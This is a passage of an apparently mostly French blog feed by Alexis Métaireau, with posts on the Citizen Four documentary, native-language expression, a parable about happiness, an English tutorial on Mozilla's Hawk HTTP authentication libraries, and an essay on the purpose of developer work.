&lt;p&gt;Je vous invite à aller voir le documentaire Citizen Four, qui passe en salles.
Si vous ni avez pas accès, vous pouvez le visionner ici, et éventuellement
faire un don aux auteurs ou associations qui gravitent autour (&lt;a class="reference external" href="https://supporters.eff.org/donate"&gt;Electronic
Fronteer Fondation&lt;/a&gt;, &lt;a class="reference external" href="https://tails.boum.org/contribute/how/donate/index.fr.html"&gt;Tails&lt;/a&gt;, &lt;a class="reference external" href="https://support.laquadrature.net/"&gt;La quadrature
du net&lt;/a&gt; en france ou d'autres…)&lt;/p&gt;
&lt;link href="http://vjs.zencdn.net/4.12/video-js.css" rel="stylesheet"&gt;
&lt;script src="http://vjs.zencdn.net/4.12/video.js"&gt;&lt;/script&gt;
&lt;video id="MY_VIDEO_1" class="video-js vjs-default-skin" controls
preload="auto" width="640" height="264" poster="MY_VIDEO_POSTER.jpg"
data-setup="{}"&gt;
&lt;source src="https://citizenfour.thecthulhu.com/citizenfour.mp4" type='video/mp4'&gt;
&lt;p class="vjs-no-js"&gt;To view this video please enable JavaScript, and
consider upgrading to a web browser that &lt;a
href="http://videojs.com/html5-video-support/" target="_blank"&gt;supports
HTML5 video&lt;/a&gt;&lt;/p&gt;
&lt;/video&gt;</content></entry><entry><title>Language</title><link href="https://blog.notmyidea.org/language.html" rel="alternate"></link><published>2015-05-01T00:00:00+02:00</published><updated>2015-05-01T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2015-05-01:/language.html</id><summary type="html">&lt;blockquote class="epigraph"&gt;
&lt;p&gt;Nous savons tous que le fait d'obliger les fonctionnaires internationaux,
diplomates ou ministres à s'exprimer dans une langue qui n'est pas la leur
équivaut à les placer en situation d'infériorité. &lt;strong&gt;Cela les prive de la
capacité de nuance et de raffinement&lt;/strong&gt;, ce qui revient à faire des
concessions à ceux …&lt;/p&gt;&lt;/blockquote&gt;</summary><content type="html">&lt;blockquote class="epigraph"&gt;
&lt;p&gt;Nous savons tous que le fait d'obliger les fonctionnaires internationaux,
diplomates ou ministres à s'exprimer dans une langue qui n'est pas la leur
équivaut à les placer en situation d'infériorité. &lt;strong&gt;Cela les prive de la
capacité de nuance et de raffinement&lt;/strong&gt;, ce qui revient à faire des
concessions à ceux dont c'est la langue maternelle.&lt;/p&gt;
&lt;p&gt;Aussi nous savons tous que les concepts qui paraissent similaires sont
souvent différents d'une civilisation à l'autre. Les mots expriment une
culture, une façon de penser et une vision du monde.&lt;/p&gt;
&lt;p class="attribution"&gt;&amp;mdash;M. Boutros Boutros-Ghali, ancien secrétaire général des Nations Unies&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Je me surprends à préférer le français pour m'exprimer au lieu de l'anglais,
notamment au niveau des articles non techniques.&lt;/p&gt;
&lt;p&gt;Il y a quelques années, alors que je terminais mes études en Angleterre et que
je commençais à travailler pour Mozilla, on me proposait de venir aux
États-Unis, ce que j'ai refusé parce qu'exprimer mes points de vue de manière
fine m'était trop difficile dans une langue qui n'était pas la mienne.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Cela me permet de pouvoir tenir des discours avec des positions et un
argumentaire &amp;quot;fin&amp;quot;, ce qui me serait beaucoup plus difficile dans une langue
que je maitrise moins;&lt;/li&gt;
&lt;li&gt;Sans même parler d'argumentaire, les mots utilisés dans ma langue maternelle
me permettent de manœuvrer plus finement et de faire passer des idées de
manière plus efficace;&lt;/li&gt;
&lt;li&gt;J'ai l'impression de pouvoir engager plus facilement avec les gens qui
m'entourent géographiquement, par exemple par rapport à la communauté
technophile / pythoniste francophone.&lt;/li&gt;
&lt;li&gt;Même si mon niveau d'anglais à progressé, ce n'est pas nécessairement le cas
de mes interlocuteurs.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Par contre, cela nuit clairement à engager avec d'autres personnes dont la
langue n'est pas la mienne, dans tels cas, traduire les contenus intéressants
vers l'anglais semble une solution (chronophage).&lt;/p&gt;
</content></entry><entry><title>Le secret du bonheur</title><link href="https://blog.notmyidea.org/le-secret-du-bonheur.html" rel="alternate"></link><published>2014-11-20T00:00:00+01:00</published><updated>2014-11-20T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2014-11-20:/le-secret-du-bonheur.html</id><summary type="html">&lt;p&gt;Un enfant demande à son père :&lt;/p&gt;
&lt;blockquote&gt;
Dis papa, quel est le secret pour être heureux ?&lt;/blockquote&gt;
&lt;p&gt;Sans dire un mot, le père demande à son fils de le suivre ;
Ils sortent de la maison, le père sur leur vieil âne et le fils suivant à pied.&lt;/p&gt;
&lt;p&gt;Et les gens du village …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Un enfant demande à son père :&lt;/p&gt;
&lt;blockquote&gt;
Dis papa, quel est le secret pour être heureux ?&lt;/blockquote&gt;
&lt;p&gt;Sans dire un mot, le père demande à son fils de le suivre ;
Ils sortent de la maison, le père sur leur vieil âne et le fils suivant à pied.&lt;/p&gt;
&lt;p&gt;Et les gens du village de dire :&lt;/p&gt;
&lt;blockquote&gt;
Mais quel mauvais père qui oblige ainsi son fils d'aller à pied !&lt;/blockquote&gt;
&lt;p&gt;Le lendemain ils sortent de nouveau.&lt;/p&gt;
&lt;p&gt;Le père ayant installé son fils sur l'âne et lui marchant à côté.&lt;/p&gt;
&lt;p&gt;Les gens du village dirent alors :&lt;/p&gt;
&lt;blockquote&gt;
Quel fils indigne, qui ne respecte pas son vieux père et le laisse aller à pied !&lt;/blockquote&gt;
&lt;p&gt;Le jour suivant, ils s'installent tous les deux sur l'âne avant de quitter la maison.
Les villageois commentèrent en disant :&lt;/p&gt;
&lt;blockquote&gt;
Ils ne respectent pas leur bête à la surcharger ainsi !&lt;/blockquote&gt;
&lt;p&gt;Le jour suivant, ils partirent en portant eux-mêmes leurs affaires, l'âne trottinant derrière eux.
Cette fois les gens du village y trouvèrent encore à redire :&lt;/p&gt;
&lt;blockquote&gt;
Voilà qu'ils portent eux-mêmes leurs bagages maintenant ! C'est le monde à l'envers !&lt;/blockquote&gt;
&lt;p&gt;De retour à la maison, le père dit à son fils :&lt;/p&gt;
&lt;blockquote&gt;
Tu me demandais l'autre jour le secret du bonheur.
Peu importe ce que tu fais, il y aura toujours quelqu'un pour y trouver à redire.
Fais ce qui te plaît et là tu seras vraiment heureux.&lt;/blockquote&gt;
</content></entry><entry><title>What's Hawk and how to use it?</title><link href="https://blog.notmyidea.org/whats-hawk-and-how-to-use-it.html" rel="alternate"></link><published>2014-07-31T00:00:00+02:00</published><updated>2014-07-31T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2014-07-31:/whats-hawk-and-how-to-use-it.html</id><summary type="html">&lt;p&gt;At Mozilla, we recently had to implement &lt;a class="reference external" href="https://github.com/hueniverse/hawk"&gt;the Hawk authentication scheme&lt;/a&gt; for a number of projects, and we came up
creating two libraries to ease integration into pyramid and node.js apps.&lt;/p&gt;
&lt;p&gt;But maybe you don't know Hawk.&lt;/p&gt;
&lt;p&gt;Hawk is a relatively new technology, crafted by one of the original …&lt;/p&gt;</summary><content type="html">&lt;p&gt;At Mozilla, we recently had to implement &lt;a class="reference external" href="https://github.com/hueniverse/hawk"&gt;the Hawk authentication scheme&lt;/a&gt; for a number of projects, and we came up
creating two libraries to ease integration into pyramid and node.js apps.&lt;/p&gt;
&lt;p&gt;But maybe you don't know Hawk.&lt;/p&gt;
&lt;p&gt;Hawk is a relatively new technology, crafted by one of the original &lt;a class="reference external" href="https://en.wikipedia.org/wiki/OAuth"&gt;OAuth&lt;/a&gt; specification authors, that intends to
replace the 2-legged OAuth authentication scheme using a simpler approach.&lt;/p&gt;
&lt;p&gt;It is an authentication scheme for HTTP, built around &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Hmac"&gt;HMAC digests&lt;/a&gt; of requests and responses.&lt;/p&gt;
&lt;p&gt;Every authenticated client request has an Authorization header containing a MAC
(Message Authentication Code) and some additional metadata, then each server
response to authenticated requests contains a Server-Authorization header that
authenticates the response, so the client is sure it comes from the right
server.&lt;/p&gt;
&lt;div class="section" id="exchange-of-the-hawk-id-and-hawk-key"&gt;
&lt;h2&gt;Exchange of the hawk id and hawk key&lt;/h2&gt;
&lt;p&gt;To sign the requests, a client needs to retrieve a token id and a token key
from the server.&lt;/p&gt;
&lt;p&gt;Hawk itself does not define how these credentials should be exchanged
between the server and the client. The excellent team behind &lt;a class="reference external" href="http://accounts.firefox.com"&gt;Firefox Accounts&lt;/a&gt; put together a scheme to do that, which acts
like the following:&lt;/p&gt;
&lt;div class="admonition note"&gt;
&lt;p class="first admonition-title"&gt;Note&lt;/p&gt;
&lt;p&gt;All this derivation crazyness might seem a bit complicated, but don't worry,
we put together some libraries that takes care of that for you automatically.&lt;/p&gt;
&lt;p class="last"&gt;If you are not interested into these details, you can directly jump to the
next section to see how to use the libraries.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;When your server application needs to send you the credentials, it will return
it inside a specific &lt;cite&gt;Hawk-Session-Token&lt;/cite&gt; header. This token can be derived to
split this string in two values (hawk id and hawk key) that you will use to
sign your next requests.&lt;/p&gt;
&lt;p&gt;In order to get the hawk credentials, you'll need to:&lt;/p&gt;
&lt;p&gt;First, do an &lt;a class="reference external" href="http://en.wikipedia.org/wiki/HKDF"&gt;HKDF derivation&lt;/a&gt; on the
given session token. You'll need to use the following parameters:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
key_material = HKDF(hawk_session, &amp;quot;&amp;quot;, 'identity.mozilla.com/picl/v1/sessionToken', 32*2)
&lt;/pre&gt;
&lt;div class="admonition note"&gt;
&lt;p class="first admonition-title"&gt;Note&lt;/p&gt;
&lt;p class="last"&gt;The &lt;tt class="docutils literal"&gt;identity.mozilla.com/picl/v1/sessionToken&lt;/tt&gt; is a reference to this way of
deriving the credentials, not an actual URL.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Then, the key material you'll get out of the HKDF need to be separated into two
parts, the first 32 hex caracters are the hawk id, and the next 32 ones are the
hawk key.&lt;/p&gt;
&lt;p&gt;Credentials:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nx"&gt;credentials&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;keyMaterial&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;key&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;keyMaterial&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;algorithm&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;sha256&amp;#39;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="httpie"&gt;
&lt;h2&gt;Httpie&lt;/h2&gt;
&lt;p&gt;To showcase APIs in the documentation, I like to use &lt;a class="reference external" href="https://github.com/jakubroztocil/httpie"&gt;httpie&lt;/a&gt;, a curl-replacement with a nicer
API, built around &lt;a class="reference external" href="http://python-requests.org"&gt;the python requests library&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Luckily, HTTPie allows you to plug different authentication schemes for it, so &lt;a class="reference external" href="https://github.com/mozilla-services/requests-hawk"&gt;I wrote
a wrapper&lt;/a&gt; around &lt;a class="reference external" href="https://github.com/kumar303/mohawk"&gt;mohawk&lt;/a&gt; to add hawk support to the requests lib.&lt;/p&gt;
&lt;p&gt;Doing hawk requests in your terminal is now as simple as:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ pip install requests-hawk httpie
$ http GET localhost:5000/registration --auth-type=hawk --auth='id:key'
&lt;/pre&gt;
&lt;p&gt;In addition, it will help you to craft requests using the requests library:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;requests_hawk&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;HawkAuth&lt;/span&gt;
&lt;span class="n"&gt;hawk_auth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;HawkAuth&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="n"&gt;credentials&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;key&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;algorithm&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;sha256&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/url&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;hawk_auth&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Alternatively, if you don't have the token id and key, you can pass the hawk
session token I talked about earlier and the lib will take care of the
derivation for you:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;hawk_auth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;HawkAuth&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="n"&gt;hawk_session&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;hawk-session-token&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="n"&gt;server_url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;server_url&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/url&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;hawk_auth&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="integrate-with-python-pyramid-apps"&gt;
&lt;h2&gt;Integrate with python pyramid apps&lt;/h2&gt;
&lt;p&gt;If you're writing pyramid applications, you'll be happy to learn that &lt;a class="reference external" href="https://www.rfk.id.au/blog/"&gt;Ryan
Kelly&lt;/a&gt; put together a library that makes Hawk
work as an Authentication provider for them. I'm chocked how simple it
is to use it.&lt;/p&gt;
&lt;p&gt;Here is a demo of how we implemented it for Daybed:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;pyramid_hawkauth&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;HawkAuthenticationPolicy&lt;/span&gt;
&lt;span class="n"&gt;policy&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;HawkAuthenticationPolicy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;decode_hawk_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;get_hawk_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_authentication_policy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;authn_policy&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The &lt;cite&gt;get_hawk_id&lt;/cite&gt; function is a function that takes a request and
a tokenid and returns a tuple of &lt;cite&gt;(token_id, token_key)&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;How you want to store the tokens and retrieve them is up to you. The default
implementation (e.g. if you don't pass a &lt;cite&gt;decode_hawk_id&lt;/cite&gt; function) decodes the
key from the token itself, using a master secret on the server (so you don't
need to store anything).&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="integrate-with-node-js-express-apps"&gt;
&lt;h2&gt;Integrate with node.js Express apps&lt;/h2&gt;
&lt;p&gt;We had to implement Hawk authentication for two node.js projects and finally
came up factorizing everything in a library for express, named &lt;a class="reference external" href="https://github.com/mozilla-services/express-hawkauth"&gt;express-hawkauth&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In order to plug it in your application, you'll need to use it as
a middleware:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;express&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;express&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;hawk&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;express-hawkauth&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;express&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;hawkMiddleware&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;hawk&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getMiddleware&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
&lt;span class="nx"&gt;hawkOptions&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{},&lt;/span&gt;
&lt;span class="nx"&gt;getSession&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tokenId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;cb&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="c1"&gt;// A function which pass to the cb the key and algorithm for the&lt;/span&gt;
&lt;span class="c1"&gt;// given token id. First argument of the callback is a potential&lt;/span&gt;
&lt;span class="c1"&gt;// error.&lt;/span&gt;
&lt;span class="nx"&gt;cb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;key&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;algorithm&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;sha256&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="nx"&gt;createSession&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;cb&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="c1"&gt;// A function which stores a session for the given id and key.&lt;/span&gt;
&lt;span class="c1"&gt;// Argument returned is a potential error.&lt;/span&gt;
&lt;span class="nx"&gt;cb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="nx"&gt;setUser&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;tokenId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;cb&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="c1"&gt;// A function that uses req and res, the hawkId when they&amp;#39;re known so&lt;/span&gt;
&lt;span class="c1"&gt;// that it can tweak it. For instance, you can store the tokenId as the&lt;/span&gt;
&lt;span class="c1"&gt;// user.&lt;/span&gt;
&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;tokenId&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/hawk-enabled-endpoint&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;hawkMiddleware&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If you pass the &lt;cite&gt;createSession&lt;/cite&gt; parameter, all non-authenticated requests will
create a new hawk session and return it with the response, in the
&lt;cite&gt;Hawk-Session-Token&lt;/cite&gt; header.&lt;/p&gt;
&lt;p&gt;If you want to only check a valid hawk session exists (without creating a new
one), just create a middleware which doesn't have any &lt;cite&gt;createSession&lt;/cite&gt; parameter
defined.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="some-reference-implementations"&gt;
&lt;h2&gt;Some reference implementations&lt;/h2&gt;
&lt;p&gt;As a reference, here is how we're using the libraries I'm talking about, in
case that helps you to integrate with your projects.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;The Mozilla Loop server &lt;a class="reference external" href="https://github.com/mozilla-services/loop-server/blob/master/loop/index.js#L70-L133"&gt;uses hawk as authentication once you're logged in with
a valid BrowserID assertion&lt;/a&gt;;
request, to keep a session between client and server;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://github.com/spiral-project/daybed/commit/f178b4e43015fa077430798dcd3d0886c7611caf"&gt;I recently added hawk support on the Daybed project&lt;/a&gt;
(that's a pyramid / cornice) app.&lt;/li&gt;
&lt;li&gt;It's also interesting to note that Kumar put together &lt;a class="reference external" href="http://hawkrest.readthedocs.org/en/latest/"&gt;hawkrest, for the
django rest framework&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
</content></entry><entry><title>Quel métier, quelle utilité ?</title><link href="https://blog.notmyidea.org/quel-metier-quelle-utilite.html" rel="alternate"></link><published>2014-07-29T00:00:00+02:00</published><updated>2014-07-29T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2014-07-29:/quel-metier-quelle-utilite.html</id><summary type="html">&lt;p&gt;Aujourd'hui, mon métier est d'être développeur d'applications. Imaginer des
solutions techniques pour faire marcher des logiciels, puis écrire les lignes
de code nécessaires.&lt;/p&gt;
&lt;p&gt;Être Développeur n'est pas un métier qui a du sens en lui même (comme peut
l'être le métier d'instituteur/rice par exemple). Tout comme lorsque l'on est …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Aujourd'hui, mon métier est d'être développeur d'applications. Imaginer des
solutions techniques pour faire marcher des logiciels, puis écrire les lignes
de code nécessaires.&lt;/p&gt;
&lt;p&gt;Être Développeur n'est pas un métier qui a du sens en lui même (comme peut
l'être le métier d'instituteur/rice par exemple). Tout comme lorsque l'on est
écrivain il est important de se poser des questions sur les textes que l'on
produit, pour qui et dans quel but; il est important de se questionner sur
l'utilité du métier de développeur, et sur l'utilisation des contenus produits.&lt;/p&gt;
&lt;p&gt;Je suis un développeur parce que je défends certaines valeurs. Les valeurs du
partage de connaissances, de la collaboration, et de l'émancipation.&lt;/p&gt;
&lt;p&gt;Je suis aussi développeur parce qu'il me plait de créer des contenus à partir
de &amp;quot;pas grand chose&amp;quot;. La &lt;em&gt;magie&lt;/em&gt; de la création logicielle m'anime, parce que j'ai
l'impression qu'il est possible de faire des choses géniales à partir de ce &amp;quot;pas
grand chose&amp;quot;. Donnez moi un ordinateur et je vous crée une application de
partage de semences paysannes. Un peu comme il est possible de donner une
feuille de papier à un dessinateur pour se retrouver avec un univers magnifique
couché sur papier.&lt;/p&gt;
&lt;p&gt;Je me rends compte qu'au fur et à mesure des années, je me laisse ramollir,
absorber par le quotidien et me retrouve à ne plus me poser de questions
quant à l'utilité de mon métier. Pourquoi est-ce que je code ? À qui cela sert
il ? Quelle est ma motivation réelle ?&lt;/p&gt;
&lt;p&gt;En travaillant pour Mozilla, on pourrait croire que ce problème est résolu de fait,
puisque après tout, Mozilla, c'est les &amp;quot;protecteurs du web&amp;quot;, des
gentils, et qu'on essaye nécessairement de faire les choses bien…&lt;/p&gt;
&lt;div class="section" id="l-omnipresence-technologique"&gt;
&lt;h2&gt;L'omniprésence technologique&lt;/h2&gt;
&lt;p&gt;Je ne suis pas convaincu qu'utiliser la technologie de la manière dont on le
fait actuellement est systématiquement une bonne chose:&lt;/p&gt;
&lt;p&gt;Depuis 2 ans quasiment maintenant, Mozilla travaille sur un système
d'exploitation mobile, un remplaçant pour les iphones et androides, qui utilise
cette fois ci les technologies du web. Les avantages sont multiples, et le
principal intérêt est de faire un téléphone qui ne soit pas au service
des &amp;quot;gros&amp;quot; du Web mondial (Google et Apple).&lt;/p&gt;
&lt;p&gt;Ces &amp;quot;ordiphones&amp;quot; à destination des pays dits &amp;quot;émergents&amp;quot; sont d'ailleurs
construits à faible coût — toujours de manière honteuse, pour la plupart en
chine, dans les mêmes chaines de production que les autres téléphones, mais
c'est un autre débat.&lt;/p&gt;
&lt;p&gt;L'idée, assez intéressante d'un point de vue marché (les pays en question
n'ayant que peu de périphériques actuellement semblent un terrain propice à la
diffusion des &amp;quot;ordiphones&amp;quot;), est de donner accès à la technologie, au Web à ces
pays émergents.&lt;/p&gt;
&lt;p&gt;L'accès à la technologie pour tous me semble relever de la chimère
productiviste: je conçois que la technologie puisse être un pas en avant assez
fou, notamment lorsque l'on connaît la richesse des contenus qu'on peut trouver
